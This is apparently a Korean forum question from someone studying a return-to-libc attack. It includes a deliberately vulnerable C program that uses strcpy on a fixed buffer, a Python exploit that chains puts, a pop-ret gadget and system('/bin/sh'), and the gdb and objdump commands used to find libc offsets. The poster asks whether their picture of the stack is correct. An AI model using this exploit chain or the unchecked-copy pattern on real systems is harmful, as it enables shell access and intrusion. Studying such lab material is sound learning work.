일단 취약한 소스코드는
/* bof.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char buf[300] = {}; /* set all bytes to zero */
printf("buf = %p\n", buf);
strcpy(buf, argv[1]);
puts(buf);
return 0;
}
이거구요. return-to-libc 공격에 사용하는 코드는
# exploit2.py
import sys
import struct
from subprocess import Popen
bufsize = int(sys.argv[1]) //입력받을 버퍼의 크기
libc_base = int(sys.argv[2], 16) //libc파일의 선두 어드레스
puts = libc_base + 0x00067740 //puts함수의 선두 어드레스
system = libc_base + 0x0003f430 //system함수의 선두 어드레스
binsh = libc_base + 0x161d98 // /bin/sh의 선두 어두레스
popret = libc_base + 0x16f8a //pop, ret의 선두 어드레스
buf = 'A' * bufsize //버퍼 크기만큼 A를 입력
buf += 'AAAA' * 3 //버퍼에 ebp위치까지 A를 합침
buf += struct.pack('<I', puts) //puts함수의 선두 어드레스를 버퍼에 추가
buf += struct.pack('<I', popret) //popret 옵코드를 버퍼에 추가
buf += struct.pack('<I', binsh) // /bin/sh를 출력
buf += struct.pack('<I', puts) //puts함수의 선두 어드레스를 버퍼에 추가
buf += struct.pack('<I', popret) //popret 옵코드를 버퍼에 추가
buf += struct.pack('<I', binsh) // /bin/sh를 출력
buf += struct.pack('<I', system) //system함수를 불러옴
buf += 'AAAA' //system함수의 ret 어드레스에 AAAA 입력
buf += struct.pack('<I', binsh) //system함수의 인수로 binsh의 선두 어드레스를 불러옴
with open('buf', 'wb') as f:
f.write(buf)
p = Popen(['./a.out', buf])
p.wait()
이겁니다. 함수를 2회만 연속으로 불러올 때는 저렇게 안 해도 되지만 3회 이상 부를 때는 일부러 저렇게 pop ret을 스택에 추가함으로 인해 3번째 함수가 두번째 함수의 인수로 불리지 않는다고 하는데요. 이게 제가 이해한 스택의 이미지가 맞나 해서요. 제가 이해한 스택의 상황으로
이렇게 생각하는데요. 두번째 부분에서 원래 pop ret이 들어가는 부분들이 pop으로 스택에서 빠져나가면서 사라져서 저런 이미지가 되지 않을까 합니다만 이게 맞는지 어떤지 가르쳐주시면 감사하겠습니다.
"""
$ nm -D /lib/i386-linux-gnu/libc.so.6 | grep " puts"
00067740 W puts
$ nm -D /lib/i386-linux-gnu/libc.so.6 | grep " system"
0003f430 W system
$ strings -a -tx /lib/i386-linux-gnu/libc.so.6 | grep "sh$"
161d98 /bin/sh
$ objdump -d /lib/i386-linux-gnu/libc.so.6 | grep -B1 ret | grep -A1 pop | head
16f8a: 5f pop edi
16f8b: c3 ret
(gdb) i proc map
0xb7e2b000 0xb7fcf000 0x1a4000 0x0 /lib/i386-linux-gnu/libc-2.15.so
0xb7fcf000 0xb7fd1000 0x2000 0x1a4000 /lib/i386-linux-gnu/libc-2.15.so
0xb7fd1000 0xb7fd2000 0x1000 0x1a6000 /lib/i386-linux-gnu/libc-2.15.so
"""
참고로 이 부분은 프로그램에서 puts함수나 system함수 주소를 찾기 위한 작업입니다.
실행결과는
요렇게 쉘을 얻었구요.